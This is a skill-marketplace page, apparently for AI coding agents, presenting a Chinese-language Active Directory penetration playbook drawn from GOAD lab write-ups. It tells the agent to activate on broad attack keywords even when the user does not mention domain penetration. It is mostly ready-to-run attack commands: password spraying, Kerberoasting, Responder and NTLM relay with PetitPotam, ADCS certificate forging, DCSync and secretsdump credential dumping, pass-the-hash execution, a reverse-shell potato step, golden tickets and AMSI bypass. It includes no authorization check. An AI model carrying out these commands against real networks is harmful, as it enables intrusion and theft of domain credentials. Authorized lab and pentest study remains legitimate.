# Ad Pentest

> Active Directory 域渗透全链路指导技能。基于 GOAD (Game of Active Directory) 靶场实战经验， 涵盖从初始侦察、用户枚举、密码攻击、中继与投毒、ADCS证书攻击、MSSQL利用、提权、 横向移动、凭据提取、ACL滥用、委派攻击、域信任利用到域控拿下的完整渗透链。 当用户提到以下任何关键词时，务必触发此技能： AD渗透、域渗透、Active Directory、域控攻击、内网渗透、kerberoasting、AS-REP roasting、 NTLM relay、responder、bloodhound、certipy、ADCS、ESC1-ESC15、PetitPotam、 noPac、PrintNightmare、横向移动、pass the hash、golden ticket、silver ticket、 DCSync、secretsdump、mimikatz、委派攻击、delegation、ACL滥用、域信任、 forest trust、提权、SeImpersonate、KrbRelay、MSSQL提权、webshell、 凭据收集、密码喷洒、password spray、域枚举、SMB签名、coercer、 shadow credentials、certifried、RBCD、GPO abuse、LAPS、 即使用户没有明确说"域渗透"，只要涉及Windows域环境的攻击场景都应使用此技能。

- Skill: `m-sec-org/ad-pentest` (Agent Skill, multi-file: 9 files)
- Install (CLI): `npx skillmds@latest add m-sec-org/ad-pentest`
- Raw SKILL.md: https://api.skillmd.com/api/skills/m-sec-org/ad-pentest/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- Author: m-sec-org (https://skillmd.com/u/m-sec-org)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/m-sec-org/ad-pentest

---


# AD域渗透全链路指导

本技能基于对 GOAD (Game of Active Directory) 靶场的 14 篇实战 writeup 的深度学习，提供从零到域控的完整攻击链指导。每个阶段都包含实际可用的工具命令和攻击判断逻辑。

## 使用方式

根据用户当前所处的渗透阶段，提供对应的攻击思路、工具命令和下一步建议。如果用户描述了具体的网络环境信息（IP、域名、已有凭据等），将示例命令中的占位符替换为实际值。

当需要某个阶段的详细命令参考时，读取 `references/` 目录下对应的参考文档：
- `references/01-recon-enum.md` — 侦察与枚举阶段
- `references/02-credential-attacks.md` — 凭据攻击（Kerberoasting、密码喷洒、AS-REP等）
- `references/03-relay-poison.md` — 中继与投毒攻击
- `references/04-adcs.md` — ADCS证书攻击（ESC1-ESC15全覆盖）
- `references/05-mssql.md` — MSSQL利用
- `references/06-privesc.md` — 本地提权
- `references/07-lateral-movement.md` — 横向移动与凭据提取
- `references/08-acl-abuse.md` — ACL滥用攻击链
- `references/09-delegation.md` — 委派攻击
- `references/10-domain-trust.md` — 域信任利用
- `references/11-coerce-social.md` — 强制认证与域内社工

---

## 攻击链总览

域渗透是一个逐步升级权限的过程，典型攻击链如下：

```
Phase 1: 侦察与枚举
  ├─ 网络发现 (cme/nxc smb扫描, nmap)
  ├─ 域结构识别 (域名、DC、信任关系)
  ├─ 匿名枚举 (用户列表、共享、密码策略)
  └─ 有凭据枚举 (BloodHound、certipy、DNS dump)

Phase 2: 初始凭据获取
  ├─ AS-REP Roasting (无需密码)
  ├─ 密码喷洒 (username=password, 季节+年份)
  ├─ Kerberoasting (需一个域用户)
  ├─ NTLM Relay / 投毒 (Responder)
  └─ ADCS ESC8 (PetitPotam + NTLM relay到Web Enrollment)

Phase 3: 域内利用与提权
  ├─ ADCS证书攻击 (ESC1-ESC15)
  ├─ noPac / SamAccountName
  ├─ PrintNightmare
  ├─ MSSQL链接服务器 / 模拟
  ├─ ACL攻击链 (GenericAll → WriteDACL → ...)
  ├─ 委派攻击 (Unconstrained, Constrained, RBCD)
  └─ 域信任提权 (Child→Parent, Forest→Forest)

Phase 4: 横向移动
  ├─ 凭据提取 (SAM, LSA, LSASS, NTDS)
  ├─ Pass the Hash / Over-Pass the Hash
  ├─ 远程执行 (psexec, wmiexec, smbexec, dcomexec)
  └─ RDP会话劫持

Phase 5: 域控拿下
  ├─ DCSync (secretsdump)
  ├─ Golden Ticket / Silver Ticket
  ├─ Golden Certificate (ADCS CA密钥提取)
  └─ 持久化
```

---

## Phase 1: 侦察与枚举

### 核心判断逻辑

1. **先跑 cme/nxc SMB 扫描**：快速获取所有 Windows 机器的 NetBIOS 名、域名、OS 版本、SMB 签名状态
2. **识别 DC**：SMB 签名为 true 的通常是域控（默认配置）
3. **签名为 false 的机器**是 NTLM relay 的潜在目标
4. **检查匿名访问**：尝试匿名枚举用户列表、共享、密码策略

### 关键命令

```bash
# 快速网络发现 - 获取所有Windows机器信息
nxc smb <CIDR>

# 全端口扫描
nmap -Pn -p- -sC -sV -oA full_scan <TARGET_IPS>

# 匿名枚举用户 (如果允许)
nxc smb <DC_IP> --users
enum4linux <DC_IP>
rpcclient -U "" <DC_IP> -N

# Guest访问检查共享
nxc smb <IP_RANGE> -u 'a' -p '' --shares

# Kerberos用户枚举 (无需凭据)
nmap -p 88 --script=krb5-enum-users \
  --script-args="krb5-enum-users.realm='<DOMAIN>',userdb=<USERLIST>" <DC_IP>
```

### 获得域用户凭据后的枚举

```bash
# BloodHound 数据收集
bloodhound-python -u <USER> -p '<PASS>' -d <DOMAIN> -dc <DC_FQDN> -c All

# ADCS 枚举
certipy find -u <USER>@<DOMAIN> -p '<PASS>' -dc-ip <DC_IP>

# DNS dump
adidnsdump -u <DOMAIN>\\<USER> -p '<PASS>' <DC_IP>

# 完整用户列表
GetADUsers.py -all <DOMAIN>/<USER>:'<PASS>'
```

---

## Phase 2: 初始凭据获取

### 攻击选择决策树

```
无任何凭据？
├─ 匿名枚举成功获取用户列表？
│   ├─ YES → AS-REP Roasting + 密码喷洒
│   └─ NO  → Kerberos用户枚举 + NTLM投毒 (Responder)
├─ 网络中有Web Enrollment (HTTP/HTTPS on CA)?
│   └─ YES → PetitPotam + ESC8 (无需认证直接获取DA)
└─ 有链路层访问?
    └─ YES → Responder

有一个低权限域用户？
├─ Kerberoasting
├─ certipy枚举 → ADCS攻击
├─ BloodHound → ACL攻击链
├─ 密码喷洒 (扩大战果)
└─ 委派攻击枚举
```

### 关键命令

```bash
# AS-REP Roasting (无需密码)
GetNPUsers.py <DOMAIN>/ -no-pass -usersfile users.txt

# 密码喷洒 (注意锁定策略!)
nxc smb <DC_IP> -u users.txt -p users.txt --no-bruteforce

# Kerberoasting
GetUserSPNs.py <DOMAIN>/<USER>:'<PASS>' -outputfile kerberoast.hash
john --format=krb5tgs kerberoast.hash --wordlist=/usr/share/wordlists/rockyou.txt

# 破解 AS-REP hash
john --format=krb5asrep asrep.hash --wordlist=/usr/share/wordlists/rockyou.txt
```

**密码喷洒常见模式**：`username=password`、`SeasonYear!`（如 `Winter2024!`）、`CompanyName2024!`、`123456`

详细命令参考：读取 `references/02-credential-attacks.md`

---

## Phase 3: 中继与投毒

### NTLM Relay 前置条件判断

```
目标SMB签名关闭? ─── 可以relay到SMB
目标有LDAP签名关闭? ── 可以relay到LDAP(S)
目标有Web Enrollment? ── 可以relay到HTTP获取证书 (ESC8)
```

### 关键命令

```bash
# Responder投毒 (LLMNR/NBT-NS/MDNS)
responder -I <INTERFACE>

# NTLM Relay到SMB (当目标SMB签名关闭)
ntlmrelayx.py -t <TARGET_IP> -smb2support

# NTLM Relay到LDAP (创建计算机账户+RBCD)
ntlmrelayx.py -t ldaps://<DC_IP> -wh <ATTACKER_IP> --delegate-access

# PetitPotam (无需认证) + ESC8
petitpotam.py <ATTACKER_IP> <DC_IP>
ntlmrelayx.py -t http://<CA_IP>/certsrv/certfnsh.asp -smb2support \
  --adcs --template DomainController
```

详细命令参考：读取 `references/03-relay-poison.md`

---

## Phase 4: ADCS 证书攻击

ADCS 是现代域渗透中最强大的攻击面之一。每种 ESC 漏洞的利用条件和方法不同。

### ESC 攻击快速参考

| ESC | 漏洞类型 | 所需权限 | 核心工具 |
|-----|---------|---------|---------|
| ESC1 | 模板允许指定SAN | 域用户+Enroll权限 | certipy |
| ESC2 | 模板允许Any Purpose | 域用户+Enroll权限 | certipy |
| ESC3 | Enrollment Agent模板 | 域用户+Enroll权限 | certipy (两步) |
| ESC4 | 模板ACL可写 | 对模板有写权限 | certipy (修改→ESC1) |
| ESC5 | CA私钥可提取/PKI对象可写 | CA管理员 | certipy ca -backup |
| ESC6 | EDITF_ATTRIBUTESUBJECTALTNAME2 | 域用户+Enroll权限 | certipy |
| ESC7 | ManageCA权限 | ManageCA权限 | certipy (启用SubCA→签发) |
| ESC8 | Web Enrollment + NTLM relay | 网络访问 | ntlmrelayx + PetitPotam |
| ESC9 | CT_FLAG_NO_SECURITY_EXTENSION | 对用户有GenericWrite | certipy + shadow creds |
| ESC10 | 弱证书映射 | 对用户有GenericWrite | certipy + UPN修改 |
| ESC11 | RPC Enrollment + NTLM relay | 网络访问 | certipy |
| ESC13 | Issuance Policy OID链接组 | 域用户+Enroll权限 | certipy |
| ESC14 | altSecurityIdentities写权限 | 对用户有写权限 | certipy |
| ESC15 | Application Policy漏洞(CVE-2024-49019) | 域用户+Enroll权限 | certipy |

### 基本枚举与利用流程

```bash
# 枚举所有ADCS漏洞
certipy find -u <USER>@<DOMAIN> -p '<PASS>' -dc-ip <DC_IP> -vulnerable

# ESC1 利用 (指定管理员SAN)
certipy req -u <USER>@<DOMAIN> -p '<PASS>' -ca <CA_NAME> \
  -template <VULN_TEMPLATE> -upn administrator@<DOMAIN> -dc-ip <DC_IP>

# 使用证书认证获取NT hash
certipy auth -pfx administrator.pfx -dc-ip <DC_IP>

# Golden Certificate (ESC5 - 需要CA管理员权限)
certipy ca -backup -u <ADMIN>@<DOMAIN> -p '<PASS>' -ca <CA_NAME> \
  -target <CA_IP> -dc-ip <DC_IP>
certipy forge -ca-pfx <CA_PFX> -upn administrator@<DOMAIN> -subject \
  'CN=Administrator,CN=Users,DC=<DOMAIN_PARTS>'
```

详细命令参考（含 ESC1-ESC15 全部利用步骤）：读取 `references/04-adcs.md`

---

## Phase 5: 横向移动与凭据提取

### 凭据提取优先级

1. **SAM数据库** — 本地账户hash（需管理员权限）
2. **LSA Secrets** — 服务账户明文密码、计算机账户密码
3. **LSASS进程** — 当前登录用户的密码/hash/Kerberos票据
4. **NTDS.dit** — 所有域用户hash（仅DC上，需DA权限）
5. **缓存凭据** — 域用户cached logon（需管理员+破解）

### 关键命令

```bash
# 提取所有凭据 (SAM + LSA + cached)
nxc smb <TARGET_IP> -u <ADMIN> -p '<PASS>' -d <DOMAIN> --sam --lsa --ntds

# secretsdump 完整提取
secretsdump.py <DOMAIN>/<ADMIN>:'<PASS>'@<TARGET_IP>

# DCSync (无需登录DC)
secretsdump.py <DOMAIN>/<DA_USER>:'<PASS>'@<DC_IP> -just-dc

# Pass the Hash 远程执行
psexec.py -hashes :<NT_HASH> <DOMAIN>/<USER>@<TARGET_IP>
wmiexec.py -hashes :<NT_HASH> <DOMAIN>/<USER>@<TARGET_IP>
smbexec.py -hashes :<NT_HASH> <DOMAIN>/<USER>@<TARGET_IP>

# Over-Pass the Hash (NT hash → TGT → 认证)
getTGT.py -hashes :<NT_HASH> <DOMAIN>/<USER>
export KRB5CCNAME=<USER>.ccache
psexec.py -k -no-pass <DOMAIN>/<USER>@<TARGET_FQDN>
```

### LSA Secrets 中的关键信息

LSA secrets 中的 `_SC_<servicename>` 是服务账户的明文密码。如果某个服务使用域账户运行，可以直接获得该域账户的密码用于横向移动。

详细命令参考：读取 `references/07-lateral-movement.md`

---

## Phase 6: 提权

### 从 Service 账户到 SYSTEM

当获得 IIS/MSSQL 等服务账户的 shell 且拥有 `SeImpersonatePrivilege` 时：

```bash
# SweetPotato / PrintSpoofer (最常用)
SweetPotato.exe -e EfsRpc -p <REVERSE_SHELL_CMD>

# GodPotato
GodPotato.exe -cmd "cmd /c <COMMAND>"
```

### KrbRelayUp (LDAP签名关闭 + 可添加计算机)

```bash
# 检查前置条件
nxc ldap <DC_IP> -u <USER> -p '<PASS>' -d <DOMAIN> -M ldap-signing
nxc ldap <DC_IP> -u <USER> -p '<PASS>' -d <DOMAIN> -M MAQ

# 添加计算机 + RBCD利用
addcomputer.py -computer-name 'YOURPC$' -computer-pass 'Pass123' \
  -dc-host <DC_FQDN> <DOMAIN>/<USER>:'<PASS>'
```

详细命令参考：读取 `references/06-privesc.md`

---

## Phase 7: ACL 攻击链

BloodHound 是发现 ACL 攻击路径的最佳工具。常见的 ACL 权限滥用链：

```
ForceChangePassword → 重置目标密码
GenericWrite on User → 设置SPN → Kerberoasting / 修改scriptPath
WriteDACL → 给自己加GenericAll权限
WriteOwner → 修改对象所有者 → 修改DACL → GenericAll
GenericAll on User → 修改密码 / shadow credentials
GenericAll on Computer → RBCD / shadow credentials / LAPS读取
GenericAll on Group → AddMember
GPO abuse → 通过组策略执行命令
```

### 关键命令

```bash
# ForceChangePassword
net rpc password <TARGET_USER> '<NEW_PASS>' -U <DOMAIN>/<USER>%'<PASS>' \
  -S <DC_FQDN>

# WriteDACL (给自己加权限)
dacledit.py -action write -rights FullControl -principal <USER> \
  -target <TARGET> <DOMAIN>/<USER>:'<PASS>'

# GenericAll on Computer → RBCD
rbcd.py -delegate-from <YOUR_COMPUTER>$ -delegate-to <TARGET>$ \
  -action write <DOMAIN>/<USER>:'<PASS>'

# GPO abuse (通过bloodyAD操作)
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p '<PASS>' \
  set object <GPO_DN> --append member <USER_DN>
```

详细命令参考：读取 `references/08-acl-abuse.md`

---

## Phase 8: 委派攻击

### 三种委派类型

| 类型 | 标识 | 利用方式 |
|------|------|---------|
| Unconstrained | TrustedForDelegation=True | 强制认证 → 捕获TGT |
| Constrained | msDS-AllowedToDelegateTo | S4U2Self + S4U2Proxy |
| RBCD | msDS-AllowedToActOnBehalfOfOtherIdentity | 需对目标有写权限 |

### Constrained Delegation 利用

```bash
# 获取可模拟的服务票据
getST.py -spn <SPN> -impersonate Administrator -dc-ip <DC_IP> \
  <DOMAIN>/<SERVICE_USER>:'<PASS>'
export KRB5CCNAME=Administrator.ccache
# 可以修改altservice来访问其他服务
getST.py -spn <SPN> -impersonate Administrator -altservice cifs/<TARGET> \
  -dc-ip <DC_IP> <DOMAIN>/<SERVICE_USER>:'<PASS>'
```

详细命令参考：读取 `references/09-delegation.md`

---

## Phase 9: 域信任利用

### Child → Parent 域提权

```bash
# 获取child域的krbtgt hash
secretsdump.py <CHILD_DOMAIN>/<DA>:'<PASS>'@<CHILD_DC> -just-dc-user krbtgt

# 获取child和parent域SID
lookupsid.py <CHILD_DOMAIN>/<DA>:'<PASS>'@<CHILD_DC>
lookupsid.py <CHILD_DOMAIN>/<DA>:'<PASS>'@<PARENT_DC>

# 创建带Enterprise Admin SID的Golden Ticket
ticketer.py -nthash <KRBTGT_HASH> -domain <CHILD_DOMAIN> \
  -domain-sid <CHILD_SID> -extra-sid <PARENT_SID>-519 Administrator
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass <PARENT_DOMAIN>/Administrator@<PARENT_DC_FQDN>
```

### Forest 间信任利用

外部 Forest 信任受 SID Filter 限制（RID < 1000 被过滤），但 RID > 1000 的组 SID 可通过。
如果目标 Forest 中有 RID > 1000 的组拥有特殊权限（如通过 ACL），可通过 Golden Ticket + extra-sid 利用。

详细命令参考：读取 `references/10-domain-trust.md`

---

## 重要注意事项

### AdminSDHolder 保护机制
域管理员等受保护组的 ACL 每小时由 AdminSDHolder 重置。这意味着：
- 对受保护组/用户设置的 ACL 修改会在 1 小时内失效
- 需要在 ACL 修改后立即利用，或修改 AdminSDHolder 本身

### SMB 签名
- DC 默认 SMB 签名 = True（无法 NTLM relay 到 DC 的 SMB）
- 非 DC 默认 SMB 签名 = False（可 relay）
- 检查命令：`nxc smb <IP_RANGE>` 输出中的 signing 字段

### AMSI 绕过
在获得 PowerShell 会话后执行 .NET 工具前，通常需要先绕过 AMSI：
- Rasta Mouse 反射绕过法
- 远程加载绕过脚本，避免落地磁盘

### Kerberos 认证注意
使用 Kerberos 认证（-k 参数）时，目标必须用 FQDN 而非 IP，且需正确配置 `/etc/krb5.conf` 和 `/etc/hosts`。

